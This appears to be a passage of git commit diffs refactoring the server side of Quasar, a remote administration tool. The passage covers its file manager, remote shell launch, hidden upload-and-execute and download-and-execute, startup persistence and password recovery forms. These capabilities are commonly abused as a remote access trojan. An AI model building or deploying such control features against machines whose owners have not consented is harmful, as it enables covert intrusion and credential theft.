UpdateTransferStatus(index, "Canceled", 0); - _limitThreads.Release(); - return; - } - - index = GetTransferIndex(id); - if (index < 0) - { - _limitThreads.Release(); - return; - } - - decimal progress = - Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); - - UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1); - - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - _connectClient.SendBlocking(new DoUploadFile - { - Id = id, - RemotePath = remotePath, - Block = block, - MaxBlocks = srcFile.MaxBlocks, - CurrentBlock = currentBlock - }); - } - else - { - UpdateTransferStatus(index, "Error reading file", 0); - _limitThreads.Release(); - return; - } - } - _limitThreads.Release(); - - if (remoteDir == _currentDir) - RefreshDirectory(); - - UpdateTransferStatus(index, "Completed", 1); - }).Start(); + string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath)); + + _fileManagerHandler.BeginUploadFile(localFilePath, remotePath); } } } @@ -234,13 +290,13 @@ private void executeToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - PathType type = (PathType) files.Tag; + FileType type = (FileType) files.Tag; - if (type == PathType.File) + if (type == FileType.File) { - string path = GetAbsolutePath(files.SubItems[0].Text); + string remotePath = GetAbsolutePath(files.SubItems[0].Text); - _connectClient?.Send(new DoProcessStart {ApplicationName = path}); + _fileManagerHandler.StartProcess(remotePath); } } } @@ -249,25 +305,19 @@ private void renameToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - PathType type = (PathType)files.Tag; + FileType type = (FileType)files.Tag; switch (type) { - case PathType.Directory: - case PathType.File: + case FileType.Directory: + case FileType.File: string path = GetAbsolutePath(files.SubItems[0].Text); string newName = files.SubItems[0].Text; if (InputBox.Show("New name", "Enter new name:", ref newName) == DialogResult.OK) { newName = GetAbsolutePath(newName); - - _connectClient?.Send(new DoPathRename - { - Path = path, - NewPath = newName, - PathType = type - }); + _fileManagerHandler.RenameFile(path, newName, type); } break; } @@ -283,14 +333,14 @@ private void deleteToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - PathType type = (PathType)files.Tag; + FileType type = (FileType)files.Tag; switch (type) { - case PathType.Directory: - case PathType.File: + case FileType.Directory: + case FileType.File: string path = GetAbsolutePath(files.SubItems[0].Text); - _connectClient?.Send(new DoPathDelete {Path = path, PathType = type}); + _fileManagerHandler.DeleteFile(path, type); break; } } @@ -301,9 +351,9 @@ private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - PathType type = (PathType)files.Tag; + FileType type = (FileType)files.Tag; - if (type == PathType.File) + if (type == FileType.File) { string path = GetAbsolutePath(files.SubItems[0].Text); @@ -311,12 +361,7 @@ private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) { if (frm.ShowDialog() == DialogResult.OK) { - _connectClient?.Send(new DoStartupItemAdd - { - Name = AutostartItem.Name, - Path = AutostartItem.Path, - Type = AutostartItem.Type - }); + _fileManagerHandler.AddToStartup(frm.StartupItem); } } } @@ -330,32 +375,29 @@ private void refreshToolStripMenuItem_Click(object sender, EventArgs e) private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) { - if (_connectClient != null) + string path = _currentDir; + if (lstDirectory.SelectedItems.Count == 1) { - string path = _currentDir; - if (lstDirectory.SelectedItems.Count == 1) - { - var item = lstDirectory.SelectedItems[0]; - PathType type = (PathType)item.Tag; + var item = lstDirectory.SelectedItems[0]; + FileType type = (FileType)item.Tag; - if (type == PathType.Directory) - { - path = GetAbsolutePath(item.SubItems[0].Text); - } - } - - if (_connectClient.Value.FrmRs != null) - { - _connectClient.Send(new DoShellExecute {Command = $"cd \"{path}\""}); - _connectClient.Value.FrmRs.Focus(); - } - else + if (type == FileType.Directory) { - FrmRemoteShell frmRS = new FrmRemoteShell(_connectClient); - frmRS.Show(); - _connectClient.Send(new DoShellExecute {Command = $"cd \"{path}\""}); + path = GetAbsolutePath(item.SubItems[0].Text); } } + + if (_connectClient.Value.FrmRs != null) + { + _connectClient.Send(new DoShellExecute {Command = $"cd \"{path}\""}); + _connectClient.Value.FrmRs.Focus(); + } + else + { + FrmRemoteShell frmRS = new FrmRemoteShell(_connectClient); + frmRS.Show(); + _connectClient.Send(new DoShellExecute {Command = $"cd \"{path}\""}); + } } private void btnOpenDLFolder_Click(object sender, EventArgs e) @@ -370,27 +412,13 @@ private void cancelToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem transfer in lstTransfers.SelectedItems) { - if (!transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Downloading") && - !transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Uploading") && - !transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Pending")) continue; + if (!transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") && + !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") && + !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue; - int id = int.Parse(transfer.SubItems[TRANSFER_ID].Text); + int id = int.Parse(transfer.SubItems[(int)TransferColumn.Id].Text); - if (transfer.SubItems[TRANSFER_TYPE].Text == "Download") - { - _connectClient?.Send(new DoDownloadFileCancel {Id = id}); - if (!CommandHandler.CanceledDownloads.ContainsKey(id)) - CommandHandler.CanceledDownloads.Add(id, "canceled"); - if (CommandHandler.RenamedFiles.ContainsKey(id)) - CommandHandler.RenamedFiles.Remove(id); - UpdateTransferStatus(transfer.Index, "Canceled", 0); - } - else if (transfer.SubItems[TRANSFER_TYPE].Text == "Upload") - { - if (!CanceledUploads.ContainsKey(id)) - CanceledUploads.Add(id, "canceled"); - UpdateTransferStatus(transfer.Index, "Canceled", 0); - } + _fileManagerHandler.CancelFileTransfer(id); } } @@ -398,9 +426,9 @@ private void clearToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem transfer in lstTransfers.Items) { - if (transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Downloading") || - transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Uploading") || - transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Pending")) continue; + if (transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") || + transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") || + transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue; transfer.Remove(); } } @@ -416,89 +444,13 @@ private void lstDirectory_DragDrop(object sender, DragEventArgs e) if (e.Data.GetDataPresent(DataFormats.FileDrop)) { string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); - var remoteDir = _currentDir; - foreach (string filePath in files) + foreach (string localFilePath in files) { - if (!File.Exists(filePath)) continue; - - string path = filePath; - new Thread(() => - { - int id = FileHelper.GetNewTransferId(); - - if (string.IsNullOrEmpty(path)) return; - - AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path)); - - int index = GetTransferIndex(id); - if (index < 0) - return; - - FileSplit srcFile = new FileSplit(path); - if (srcFile.MaxBlocks < 0) - { - UpdateTransferStatus(index, "Error reading file", 0); - return; - } - - string remotePath = Path.Combine(remoteDir, Path.GetFileName(path)); - - if (string.IsNullOrEmpty(remotePath)) return; - - _limitThreads.WaitOne(); - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - if (_connectClient.Value == null || _connectClient.Value.FrmFm == null) - { - _limitThreads.Release(); - return; // abort upload when from is closed or client disconnected - } - - if (CanceledUploads.ContainsKey(id)) - { - UpdateTransferStatus(index, "Canceled", 0); - _limitThreads.Release(); - return; - } - - index = GetTransferIndex(id); - if (index < 0) - { - _limitThreads.Release(); - return; - } - - decimal progress = - Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); - - UpdateTransferStatus(index, $"Uploading...({progress}%)", -1); - - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - _connectClient.SendBlocking(new DoUploadFile - { - Id = id, - RemotePath = remotePath, - Block = block, - MaxBlocks = srcFile.MaxBlocks, - CurrentBlock = currentBlock - }); - } - else - { - UpdateTransferStatus(index, "Error reading file", 0); - _limitThreads.Release(); - return; - } - } - _limitThreads.Release(); + if (!File.Exists(localFilePath)) continue; - if (remoteDir == _currentDir) - RefreshDirectory(); + string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath)); - UpdateTransferStatus(index, "Completed", 1); - }).Start(); + _fileManagerHandler.BeginUploadFile(localFilePath, remotePath); } } } @@ -518,169 +470,36 @@ private void FrmFileManager_KeyDown(object sender, KeyEventArgs e) } } - public void AddDrives(RemoteDrive[] drives) + private void AddItemToFileBrowser(string name, string size, FileType type, int imageIndex) { - try + ListViewItem lvi = new ListViewItem(new string[] { name, size, (type != FileType.Back) ? type.ToString() : string.Empty }) { - cmbDrives.Invoke((MethodInvoker) delegate - { - cmbDrives.DisplayMember = "DisplayName"; - cmbDrives.ValueMember = "RootDirectory"; - cmbDrives.DataSource = new BindingSource(drives, null); - }); - } - catch (InvalidOperationException) - { - } - } - - public void ClearFileBrowser() - { - try - { - lstDirectory.Invoke((MethodInvoker)delegate - { - lstDirectory.Items.Clear(); - }); - } - catch (InvalidOperationException) - { - } - } - - public void AddItemToFileBrowser(string name, string size, PathType type, int imageIndex) - { - try - { - ListViewItem lvi = new ListViewItem(new string[] { name, size, (type != PathType.Back) ? type.ToString() : string.Empty }) - { - Tag = type, - ImageIndex = imageIndex - }; + Tag = type, + ImageIndex = imageIndex + }; - lstDirectory.Invoke((MethodInvoker)delegate - { - lstDirectory.Items.Add(lvi); - }); - } - catch (InvalidOperationException) - { - } - } - - public void AddTransfer(int id, string type, string status, string filename) - { - try - { - ListViewItem lvi = - new ListViewItem(new string[] {id.ToString(), type, status, filename}); - - lstDirectory.Invoke((MethodInvoker)delegate - { - lstTransfers.Items.Add(lvi); - }); - } - catch (InvalidOperationException) - { - } - } - - public int GetTransferIndex(int id) - { - string strId = id.ToString(); - int index = 0; - - try - { - lstTransfers.Invoke((MethodInvoker)delegate - { - foreach (ListViewItem lvi in lstTransfers.Items.Cast().Where(lvi => lvi != null && strId.Equals(lvi.SubItems[TRANSFER_ID].Text))) - { - index = lvi.Index; - break; - } - }); - } - catch (InvalidOperationException) - { - return -1; - } - - return index; - } - - public void UpdateTransferStatus(int index, string status, int imageIndex) - { - try - { - lstTransfers.Invoke((MethodInvoker) delegate - { - lstTransfers.Items[index].SubItems[TRANSFER_STATUS].Text = status; - if (imageIndex >= 0) - lstTransfers.Items[index].ImageIndex = imageIndex; - }); - } - catch (InvalidOperationException) - { - } - catch (Exception) - { - } + lstDirectory.Items.Add(lvi); } /// - /// Sets the current directory of the File Manager. + /// Sets the status of the file manager. /// - /// The new path. - public void SetCurrentDir(string path) + /// The message handler which raised the event. + /// The new status. + private void SetStatusMessage(object sender, string message) { - _currentDir = path; - try - { - txtPath.Invoke((MethodInvoker)delegate - { - txtPath.Text = _currentDir; - }); - } - catch (InvalidOperationException) - { - } + stripLblStatus.Text = $"Status: {message}"; } - /// - /// Sets the status of the File Manager Form. - /// - /// The new status. - /// Sets LastDirectorySeen to true. - public void SetStatus(string text, bool setLastDirectorySeen = false) + private void RefreshDirectory() { - try - { - if (_connectClient.Value != null && setLastDirectorySeen) - { - SetCurrentDir(Path.GetFullPath(Path.Combine(_currentDir, @"..\"))); - _connectClient.Value.ReceivedLastDirectory = true; - } - statusStrip.Invoke((MethodInvoker)delegate - { - stripLblStatus.Text = "Status: " + text; - }); - } - catch (InvalidOperationException) - { - } + SwitchDirectory(_currentDir); } - private void RefreshDirectory() + private void SwitchDirectory(string remotePath) { - if (_connectClient == null || _connectClient.Value == null) return; - - if (!_connectClient.Value.ReceivedLastDirectory) - _connectClient.Value.ProcessingDirectory = false; - - _connectClient.Send(new GetDirectory {RemotePath = _currentDir}); - SetStatus("Loading directory content..."); - _connectClient.Value.ReceivedLastDirectory = false; + _fileManagerHandler.RequestDirectoryContents(remotePath); + SetStatusMessage(this, "Loading directory content..."); } } } \ No newline at end of file diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index a2b845813..31123593d 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -439,14 +439,16 @@ private void updateToolStripMenuItem_Click(object sender, EventArgs e) { if (frm.ShowDialog() == DialogResult.OK) { - if (Core.Data.Update.UseDownload) + if (!frm.UseDownload && !File.Exists(frm.UploadPath)) return; + + if (frm.UseDownload) { foreach (Client c in GetSelectedClients()) { c.Send(new DoClientUpdate { Id = 0, - DownloadUrl = Core.Data.Update.DownloadURL, + DownloadUrl = frm.DownloadUrl, FileName = string.Empty, Block = new byte[0x00], MaxBlocks = 0, @@ -456,6 +458,8 @@ private void updateToolStripMenuItem_Click(object sender, EventArgs e) } else { + string path = frm.UploadPath; + new Thread(() => { bool error = false; @@ -464,7 +468,7 @@ private void updateToolStripMenuItem_Click(object sender, EventArgs e) if (c == null) continue; if (error) continue; - FileSplit srcFile = new FileSplit(Core.Data.Update.UploadPath); + FileSplit srcFile = new FileSplit(path); if (srcFile.MaxBlocks < 0) { MessageBox.Show($"Error reading file: {srcFile.LastError}", @@ -562,13 +566,9 @@ private void fileManagerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmFm != null) - { - c.Value.FrmFm.Focus(); - return; - } - FrmFileManager frmFM = new FrmFileManager(c); + FrmFileManager frmFM = FrmFileManager.CreateNewOrGetExisting(c); frmFM.Show(); + frmFM.Focus(); } } @@ -759,8 +759,11 @@ private void localFileToolStripMenuItem_Click(object sender, EventArgs e) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) { - if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath)) + if (frm.ShowDialog() == DialogResult.OK && File.Exists(frm.LocalFilePath)) { + string path = frm.LocalFilePath; + bool hidden = frm.Hidden; + new Thread(() => { bool error = false; @@ -769,7 +772,7 @@ private void localFileToolStripMenuItem_Click(object sender, EventArgs e) if (c == null) continue; if (error) continue; - FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); + FileSplit srcFile = new FileSplit(path); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), @@ -791,11 +794,11 @@ private void localFileToolStripMenuItem_Click(object sender, EventArgs e) c.SendBlocking(new DoUploadAndExecute { Id = id, - FileName = Path.GetFileName(UploadAndExecute.FilePath), + FileName = Path.GetFileName(path), Block = block, MaxBlocks = srcFile.MaxBlocks, CurrentBlock = currentBlock, - RunHidden = UploadAndExecute.RunHidden + RunHidden = hidden }); } else @@ -825,8 +828,8 @@ private void webFileToolStripMenuItem_Click(object sender, EventArgs e) { c.Send(new DoDownloadAndExecute { - Url = DownloadAndExecute.URL, - RunHidden = DownloadAndExecute.RunHidden + Url = frm.Url, + RunHidden = frm.Hidden }); } } @@ -846,8 +849,8 @@ private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e) { c.Send(new DoVisitWebsite { - Url = VisitWebsite.URL, - Hidden = VisitWebsite.Hidden + Url = frm.Url, + Hidden = frm.Hidden }); } } @@ -867,10 +870,10 @@ private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e) { c.Send(new DoShowMessageBox { - Caption = Messagebox.Caption, - Text = Messagebox.Text, - Button = Messagebox.Button, - Icon = Messagebox.Icon + Caption = frm.MsgBoxCaption, + Text = frm.MsgBoxText, + Button = frm.MsgBoxButton, + Icon = frm.MsgBoxIcon }); } } diff --git a/Server/Forms/FrmPasswordRecovery.cs b/Server/Forms/FrmPasswordRecovery.cs index ca1ee8c3c..06298ea99 100644 --- a/Server/Forms/FrmPasswordRecovery.cs +++ b/Server/Forms/FrmPasswordRecovery.cs @@ -34,7 +34,7 @@ public FrmPasswordRecovery(Client[] connectedClients) _noResultsFound = new RecoveredAccount() { Application = "No Results Found", - URL = "N/A", + Url = "N/A", Username = "N/A", Password = "N/A" }; @@ -77,7 +77,7 @@ public void AddPasswords(RecoveredAccount[] accounts, string identification) { var lvi = new ListViewItem { Tag = acc, Text = identification }; - lvi.SubItems.Add(acc.URL); // URL + lvi.SubItems.Add(acc.Url); // URL lvi.SubItems.Add(acc.Username); // User lvi.SubItems.Add(acc.Password); // Pass @@ -101,7 +101,7 @@ public void AddPasswords(RecoveredAccount[] accounts, string identification) { var lvi = new ListViewItem { Tag = _noResultsFound, Text = identification }; - lvi.SubItems.Add(_noResultsFound.URL); // URL + lvi.SubItems.Add(_noResultsFound.Url); // URL lvi.SubItems.Add(_noResultsFound.Username); // User lvi.SubItems.Add(_noResultsFound.Password); // Pass @@ -133,7 +133,7 @@ private string ConvertToFormat(string format, RecoveredAccount login) { return format .Replace("APP", login.Application) - .Replace("URL", login.URL) + .Replace("URL", login.Url) .Replace("USER", login.Username) .Replace("PASS", login.Password); } diff --git a/Server/Forms/FrmRegValueEditBinary.cs b/Server/Forms/FrmRegValueEditBinary.cs index 9b1a96999..0165761f9 100644 --- a/Server/Forms/FrmRegValueEditBinary.cs +++ b/Server/Forms/FrmRegValueEditBinary.cs @@ -2,7 +2,7 @@ using System.Windows.Forms; using Microsoft.Win32; using Quasar.Common.Messages; -using Quasar.Common.Registry; +using Quasar.Common.Models; using xServer.Core.Networking; using xServer.Core.Registry; using xServer.Core.Utilities; diff --git a/Server/Forms/FrmRegValueEditMultiString.cs b/Server/Forms/FrmRegValueEditMultiString.cs index 799539362..ef529e3c2 100644 --- a/Server/Forms/FrmRegValueEditMultiString.cs +++ b/Server/Forms/FrmRegValueEditMultiString.cs @@ -1,7 +1,7 @@ -using Quasar.Common.Registry; -using System; +using System; using System.Windows.Forms; using Quasar.Common.Messages; +using Quasar.Common.Models; using xServer.Core.Networking; namespace xServer.Forms diff --git a/Server/Forms/FrmRegValueEditString.cs b/Server/Forms/FrmRegValueEditString.cs index 3ef16b97b..24214f600 100644 --- a/Server/Forms/FrmRegValueEditString.cs +++ b/Server/Forms/FrmRegValueEditString.cs @@ -1,7 +1,7 @@ -using Quasar.Common.Registry; -using System; +using System; using System.Windows.Forms; using Quasar.Common.Messages; +using Quasar.Common.Models; using xServer.Core.Networking; using xServer.Core.Registry; diff --git a/Server/Forms/FrmRegValueEditWord.cs b/Server/Forms/FrmRegValueEditWord.cs index 9ea507f6a..8e4b1f04d 100644 --- a/Server/Forms/FrmRegValueEditWord.cs +++ b/Server/Forms/FrmRegValueEditWord.cs @@ -1,8 +1,8 @@ using Microsoft.Win32; -using Quasar.Common.Registry; using System; using System.Windows.Forms; using Quasar.Common.Messages; +using Quasar.Common.Models; using xServer.Core.Networking; using xServer.Enums; diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 830d03063..04f933a8b 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -1,11 +1,11 @@ using Microsoft.Win32; -using Quasar.Common.Registry; using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Windows.Forms; using Quasar.Common.Messages; +using Quasar.Common.Models; using xServer.Controls; using xServer.Core.Extensions; using xServer.Core.Helper; diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index f725d437a..9940ad54f 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -47,7 +47,7 @@ public partial class FrmRemoteDesktop : Form /// /// The message handler for handling the communication with the client. /// - private readonly RemoteDesktopMessageProcessor _remoteDesktopHandler; + private readonly RemoteDesktopHandler _remoteDesktopHandler; /// /// Holds the opened remote desktop form for each client. @@ -80,7 +80,7 @@ public static FrmRemoteDesktop CreateNewOrGetExisting(Client client) public FrmRemoteDesktop(Client client) { _connectClient = client; - _remoteDesktopHandler = new RemoteDesktopMessageProcessor(client); + _remoteDesktopHandler = new RemoteDesktopHandler(client); _keysPressed = new List(); RegisterMessageHandler(); @@ -394,6 +394,7 @@ private bool IsLockKey(Keys key) || ((key & Keys.NumLock) == Keys.NumLock) || ((key & Keys.Scroll) == Keys.Scroll); } + #endregion #region Remote Desktop Configuration diff --git a/Server/Forms/FrmShowMessagebox.cs b/Server/Forms/FrmShowMessagebox.cs index e8fd5e15b..26d1c140a 100644 --- a/Server/Forms/FrmShowMessagebox.cs +++ b/Server/Forms/FrmShowMessagebox.cs @@ -1,8 +1,6 @@ using System; using System.Windows.Forms; -using xServer.Core.Data; using xServer.Core.Helper; -using xServer.Core.Utilities; namespace xServer.Forms { @@ -10,6 +8,11 @@ public partial class FrmShowMessagebox : Form { private readonly int _selectedClients; + public string MsgBoxCaption { get; set; } + public string MsgBoxText { get; set; } + public string MsgBoxButton { get; set; } + public string MsgBoxIcon { get; set; } + public FrmShowMessagebox(int selected) { _selectedClients = selected; @@ -39,10 +42,10 @@ private void btnPreview_Click(object sender, EventArgs e) private void btnSend_Click(object sender, EventArgs e) { - Messagebox.Caption = txtCaption.Text; - Messagebox.Text = txtText.Text; - Messagebox.Button = GetMessageBoxButton(cmbMsgButtons.SelectedIndex); - Messagebox.Icon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex); + MsgBoxCaption = txtCaption.Text; + MsgBoxText = txtText.Text; + MsgBoxButton = GetMessageBoxButton(cmbMsgButtons.SelectedIndex); + MsgBoxIcon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex); this.DialogResult = DialogResult.OK; this.Close(); diff --git a/Server/Forms/FrmStartupManager.cs b/Server/Forms/FrmStartupManager.cs index af53a3a44..11ef54889 100644 --- a/Server/Forms/FrmStartupManager.cs +++ b/Server/Forms/FrmStartupManager.cs @@ -60,17 +60,9 @@ private void addEntryToolStripMenuItem_Click(object sender, EventArgs e) { if (frm.ShowDialog() == DialogResult.OK) { - if (_connectClient != null) - { - _connectClient.Send(new DoStartupItemAdd - { - Name = AutostartItem.Name, - Path = AutostartItem.Path, - Type = AutostartItem.Type - }); - lstStartupItems.Items.Clear(); - _connectClient.Send(new GetStartupItems()); - } + _connectClient.Send(new DoStartupItemAdd {StartupItem = frm.StartupItem}); + lstStartupItems.Items.Clear(); + _connectClient.Send(new GetStartupItems()); } } } diff --git a/Server/Forms/FrmUpdate.cs b/Server/Forms/FrmUpdate.cs index 75f6c2cc7..1582a9085 100644 --- a/Server/Forms/FrmUpdate.cs +++ b/Server/Forms/FrmUpdate.cs @@ -7,6 +7,10 @@ namespace xServer.Forms { public partial class FrmUpdate : Form { + public bool UseDownload { get; set; } + public string UploadPath { get; set; } + public string DownloadUrl { get; set; } + private readonly int _selectedClients; public FrmUpdate(int selected) @@ -18,18 +22,14 @@ public FrmUpdate(int selected) private void FrmUpdate_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Update Clients", _selectedClients); - if (Core.Data.Update.UseDownload) - radioURL.Checked = true; - txtPath.Text = File.Exists(Core.Data.Update.UploadPath) ? Core.Data.Update.UploadPath : string.Empty; - txtURL.Text = Core.Data.Update.DownloadURL; btnUpdate.Text = "Update Client" + ((_selectedClients > 1) ? "s" : string.Empty); } private void btnUpdate_Click(object sender, EventArgs e) { - Core.Data.Update.UseDownload = radioURL.Checked; - Core.Data.Update.UploadPath = File.Exists(txtPath.Text) ? txtPath.Text : string.Empty; - Core.Data.Update.DownloadURL = txtURL.Text; + UseDownload = radioURL.Checked; + UploadPath = txtPath.Text; + DownloadUrl = txtURL.Text; this.DialogResult = DialogResult.OK; this.Close(); diff --git a/Server/Forms/FrmUploadAndExecute.cs b/Server/Forms/FrmUploadAndExecute.cs index 204ed99f7..099566fda 100644 --- a/Server/Forms/FrmUploadAndExecute.cs +++ b/Server/Forms/FrmUploadAndExecute.cs @@ -1,14 +1,15 @@ using System; using System.IO; using System.Windows.Forms; -using xServer.Core.Data; using xServer.Core.Helper; -using xServer.Core.Utilities; namespace xServer.Forms { public partial class FrmUploadAndExecute : Form { + public string LocalFilePath { get; set; } + public bool Hidden { get; set; } + private readonly int _selectedClients; public FrmUploadAndExecute(int selected) @@ -20,7 +21,6 @@ public FrmUploadAndExecute(int selected) private void FrmUploadAndExecute_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Upload & Execute", _selectedClients); - chkRunHidden.Checked = UploadAndExecute.RunHidden; } private void btnBrowse_Click(object sender, EventArgs e) @@ -38,8 +38,8 @@ private void btnBrowse_Click(object sender, EventArgs e) private void btnUploadAndExecute_Click(object sender, EventArgs e) { - UploadAndExecute.FilePath = File.Exists(txtPath.Text) ? txtPath.Text : string.Empty; - UploadAndExecute.RunHidden = chkRunHidden.Checked; + LocalFilePath = File.Exists(txtPath.Text) ? txtPath.Text : string.Empty; + Hidden = chkRunHidden.Checked; this.DialogResult = DialogResult.OK; this.Close(); diff --git a/Server/Forms/FrmVisitWebsite.cs b/Server/Forms/FrmVisitWebsite.cs index ee25788dd..f65174fb9 100644 --- a/Server/Forms/FrmVisitWebsite.cs +++ b/Server/Forms/FrmVisitWebsite.cs @@ -1,13 +1,14 @@ using System; using System.Windows.Forms; -using xServer.Core.Data; using xServer.Core.Helper; -using xServer.Core.Utilities; namespace xServer.Forms { public partial class FrmVisitWebsite : Form { + public string Url { get; set; } + public bool Hidden { get; set; } + private readonly int _selectedClients; public FrmVisitWebsite(int selected) @@ -19,14 +20,12 @@ public FrmVisitWebsite(int selected) private void FrmVisitWebsite_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Visit Website", _selectedClients); - txtURL.Text = VisitWebsite.URL; - chkVisitHidden.Checked = VisitWebsite.Hidden; } private void btnVisitWebsite_Click(object sender, EventArgs e) { - VisitWebsite.URL = txtURL.Text; - VisitWebsite.Hidden = chkVisitHidden.Checked; + Url = txtURL.Text; + Hidden = chkVisitHidden.Checked; this.DialogResult = DialogResult.OK; this.Close(); diff --git a/Server/Models/FileTransfer.cs b/Server/Models/FileTransfer.cs new file mode 100644 index 000000000..5b206a2be --- /dev/null +++ b/Server/Models/FileTransfer.cs @@ -0,0 +1,48 @@ +using System; +using xServer.Enums; + +namespace xServer.Models +{ + public class FileTransfer : IEquatable + { + public int Id { get; set; } + public TransferType Type { get; set; } + public long Size { get; set; } + public long TransferredSize { get; set; } + public string LocalPath { get; set; } + public string RemotePath { get; set; } + public string Status { get; set; } + + public bool Equals(FileTransfer other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Id == other.Id && Type == other.Type && Size == other.Size && + TransferredSize == other.TransferredSize && string.Equals(LocalPath, other.LocalPath) && + string.Equals(RemotePath, other.RemotePath) && string.Equals(Status, other.Status); + } + + public static bool operator ==(FileTransfer f1, FileTransfer f2) + { + if (ReferenceEquals(f1, null)) + return ReferenceEquals(f2, null); + + return f1.Equals(f2); + } + + public static bool operator !=(FileTransfer f1, FileTransfer f2) + { + return !(f1 == f2); + } + + public override bool Equals(object obj) + { + return Equals(obj as FileTransfer); + } + + public override int GetHashCode() + { + return Id; + } + } +} diff --git a/Server/Properties/AssemblyInfo.cs b/Server/Properties/AssemblyInfo.cs index 655916546..f579b6b3a 100644 --- a/Server/Properties/AssemblyInfo.cs +++ b/Server/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // Allgemeine Informationen über eine Assembly werden über die folgenden // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, // die mit einer Assembly verknüpft sind. -[assembly: AssemblyTitle("Quasar")] +[assembly: AssemblyTitle("Quasar Server")] [assembly: AssemblyDescription("Remote Administration Tool")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxX0r 2016")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Server.Tests")] diff --git a/Server/Server.csproj b/Server/Server.csproj index 4decdccf1..6a38437f3 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -111,16 +111,12 @@ WordTextBox.cs + + - + - - - - - - @@ -137,10 +133,8 @@ - - @@ -162,6 +156,7 @@ + Form @@ -328,6 +323,7 @@ FrmUpdate.cs + @@ -447,6 +443,7 @@ Quasar.Common + "$(SolutionDir)packages\ILMerge.2.14.1208\tools\ILMerge.exe" /out:"$(TargetDir)$(TargetName).all.exe" "$(TargetPath)" "$(TargetDir)*.dll" /target:WinExe /wildcards /internalize From 1d70c898975f4ecf145f426fb07cc4907818c7c1 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 13 Sep 2018 19:47:48 +0200 Subject: [PATCH 115/229] Update File Manager documentation --- Server/Core/Commands/FileManagerHandler.cs | 166 +++++++++++++++++-- Server/Core/Commands/RemoteDesktopHandler.cs | 2 +- Server/Forms/FrmFileManager.cs | 44 ++++- Server/Forms/FrmRemoteDesktop.cs | 2 +- 4 files changed, 189 insertions(+), 25 deletions(-) diff --git a/Server/Core/Commands/FileManagerHandler.cs b/Server/Core/Commands/FileManagerHandler.cs index 9299f6118..a094ee44a 100644 --- a/Server/Core/Commands/FileManagerHandler.cs +++ b/Server/Core/Commands/FileManagerHandler.cs @@ -17,14 +17,59 @@ namespace xServer.Core.Commands { public class FileManagerHandler : MessageProcessorBase { + /// + /// Represents the method that will handle drive changes. + /// + /// The message processor which raised the event. + /// All currently available drives. public delegate void DrivesChangedEventHandler(object sender, Drive[] drives); + + /// + /// Represents the method that will handle directory changes. + /// + /// The message processor which raised the event. + /// The remote path of the directory. + /// The directory 